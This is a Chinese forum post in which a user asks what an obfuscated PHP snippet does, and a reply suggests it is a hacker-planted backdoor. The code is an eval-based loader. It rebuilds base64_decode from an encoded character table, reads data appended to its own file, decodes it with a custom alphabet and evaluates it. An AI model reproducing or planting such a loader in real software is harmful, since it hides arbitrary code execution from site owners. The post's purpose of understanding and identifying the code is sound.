【PHP】求大神帮忙解释一下这段代码什么意思,哪怕思路也行

Test190813 发布于 08/12 22:24
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PHP

<?php
$OOO0O0O00 = __FILE__;
$OOO000000 = urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');
$OO00O0000 = 1024;
$OOO0000O0 = $OOO000000[4] . $OOO000000[9] . $OOO000000[3] . $OOO000000[5];
$OOO0000O0 .= $OOO000000[2] . $OOO000000[10] . $OOO000000[13] . $OOO000000[16];
$OOO0000O0 .= $OOO0000O0[3] . $OOO000000[11] . $OOO000000[12] . $OOO0000O0[7] . $OOO000000[5];
$O0O0000O0 = 'OOO0000O0';
eval(${$O0O0000O0}('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTQ5KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDQ3NiksJzhaUGhscEZmYU9NQllpeHdERVZTZ3ZDMWpSLzlXdWsrblRlMlhkNnlLNXJiTklxbXNBSGNvMzd6TEpHUXQwNFU9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs='));
return;
?>
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Test190813
Test190813
return了后面加了结束标志,然后又加了字符串,不报错?
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Test190813
Test190813

引用来自“letwang”的评论

小友 你这可能是黑客挂马了 想了解原理破解请参考:https://my.oschina.net/cart?tab=newest&catalogId=3264278

嗯,我看了,准备仔细研究一下,谢谢。

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